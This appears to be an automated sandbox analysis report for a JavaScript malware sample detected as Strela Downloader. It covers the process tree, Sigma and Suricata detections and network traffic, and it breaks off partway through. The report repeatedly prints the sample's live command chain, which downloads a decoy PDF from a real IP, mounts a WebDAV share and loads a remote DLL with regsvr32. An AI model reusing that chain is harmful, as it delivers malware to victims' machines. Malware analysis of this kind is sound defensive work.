Edit tour

Windows Analysis Report
1684156262492114486.js

Overview

General Information

Sample name:	1684156262492114486.js
Analysis ID:	1590218
MD5:	2578ebd9cf936ed6f53d075c6e16d66d
SHA1:	0f807eb9f7d770242d86fe80f07ed6acfac304a9
SHA256:	2edf3881e09420482debbcb9352976418a4eb1de189bf56550551b7c8525e009
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7496 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7552 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7604 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7788 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8008 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1672,i,6192537360341325506,13611222803697906229,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7804 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7880 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8072 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7496	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", ProcessId: 7496, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7880, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", ProcessId: 7496, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7804, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7880, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8072, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7804, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7880, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll, ProcessId: 7552, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T18:53:12.223424+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T18:53:14.962433+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T18:53:12.223424+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1684156262492114486.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 17:53:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:54795 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

